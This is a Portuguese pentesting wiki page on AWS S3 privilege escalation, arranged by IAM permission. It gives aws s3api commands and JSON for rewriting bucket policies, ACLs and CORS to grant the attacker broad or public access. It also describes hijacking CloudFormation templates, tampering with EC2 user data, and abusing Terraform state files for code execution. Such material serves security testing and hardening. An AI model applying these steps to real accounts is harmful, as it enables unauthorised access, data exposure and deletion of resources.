AWS - S3 Privesc

Reading time: 7 minutes

S3

s3:PutBucketNotification, s3:PutObject, s3:GetObject

Um atacante com essas permissões em buckets interessantes pode ser capaz de sequestrar recursos e escalar privilégios.

Por exemplo, um atacante com essas permissões sobre um cloudformation bucket chamado "cf-templates-nohnwfax6a6i-us-east-1" poderá sequestrar o deployment. O acesso pode ser concedido com a seguinte policy:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"
],
"Resource": [
"arn:aws:s3:::cf-templates-*/*",
"arn:aws:s3:::cf-templates-*"
]
},
{
"Effect": "Allow",
"Action": "s3:ListAllMyBuckets",
"Resource": "*"
}
]
}

E a interceptação é possível porque existe uma pequena janela de tempo desde o momento em que o template é enviado para o bucket até o momento em que o template é implantado. Um atacante pode simplesmente criar uma lambda function em sua conta que será acionada quando uma notificação do bucket for enviada, e sequestra o conteúdo desse bucket.

O módulo Pacu cfn__resouce_injection pode ser usado para automatizar este ataque.
Para mais informações, confira a pesquisa original: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/

s3:PutObject, s3:GetObject

Estas são as permissões para obter e enviar objetos para S3. Vários serviços dentro da AWS (e fora dela) usam o armazenamento S3 para guardar config files.
Um atacante com acesso de leitura a eles pode encontrar informações sensíveis.
Um atacante com acesso de gravação a eles poderia modificar os dados para abusar de algum serviço e tentar escalar privilégios.
Estes são alguns exemplos:

• Se uma instância EC2 estiver armazenando o user data em um S3 bucket, um atacante poderia modificá-lo para executar código arbitrário dentro da instância EC2.

s3:PutObject, s3:GetObject (optional) over terraform state file

É muito comum que os terraform state files sejam salvos no blob storage dos provedores de cloud, e.g. AWS S3. O sufixo do arquivo de state é .tfstate, e os nomes dos buckets frequentemente também indicam que eles contêm terraform state files. Normalmente, cada conta AWS tem um bucket desse tipo para armazenar os state files que mostram o estado da conta. Também, no mundo real, quase sempre todos os desenvolvedores têm s3:* e às vezes até usuários de negócios têm s3:Put*.

Portanto, se você tem as permissões listadas sobre esses arquivos, existe um vetor de ataque que permite obter RCE no pipeline com os privilégios do terraform - na maioria das vezes AdministratorAccess, tornando você o admin da conta cloud. Além disso, você pode usar esse vetor para realizar um ataque de negação de serviço fazendo o terraform deletar recursos legítimos.

Siga a descrição na seção Abusing Terraform State Files da página Terraform Security para código de exploit diretamente utilizável:

Abusing Terraform State Files

s3:PutBucketPolicy

Um atacante, que precisa ser da mesma conta, caso contrário o erro The specified method is not allowed será disparado, com esta permissão poderá conceder a si mesmo mais permissões sobre o(s) bucket(s), permitindo ler, gravar, modificar, deletar e expor buckets.

# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}

s3:GetBucketAcl, s3:PutBucketAcl

Um attacker poderia abusar dessas permissões para conceder a si mesmo mais acesso sobre buckets específicos.
Note que o attacker não precisa ser da mesma account. Além disso o write access

# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectAcl

Um atacante poderia abusar dessas permissões para conceder a si mesmo mais acesso a objetos específicos dentro de buckets.

# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectVersionAcl

Espera-se que um atacante com esses privilégios consiga atribuir um Acl a uma versão específica do objeto.

aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json

s3:PutBucketCORS

Um atacante com a permissão s3:PutBucketCORS pode modificar a configuração CORS (Cross-Origin Resource Sharing) de um bucket, que controla quais domínios web podem acessar seus endpoints. Se ele definir uma política permissiva, qualquer site poderia fazer requisições diretas ao bucket e ler as respostas a partir de um navegador.

Isso significa que, potencialmente, se um usuário autenticado de um aplicativo web hospedado no bucket visitar o site do atacante, o atacante poderia explorar a política CORS permissiva e, dependendo da aplicação, acessar os dados de perfil do usuário ou até sequestrar a conta do usuário.

aws s3api put-bucket-cors \
--bucket <BUCKET_NAME> \
--cors-configuration '{
"CORSRules": [
{
"AllowedOrigins": ["*"],
"AllowedMethods": ["GET", "PUT", "POST"],
"AllowedHeaders": ["*"],
"ExposeHeaders": ["x-amz-request-id"],
"MaxAgeSeconds": 3000
}
]
}'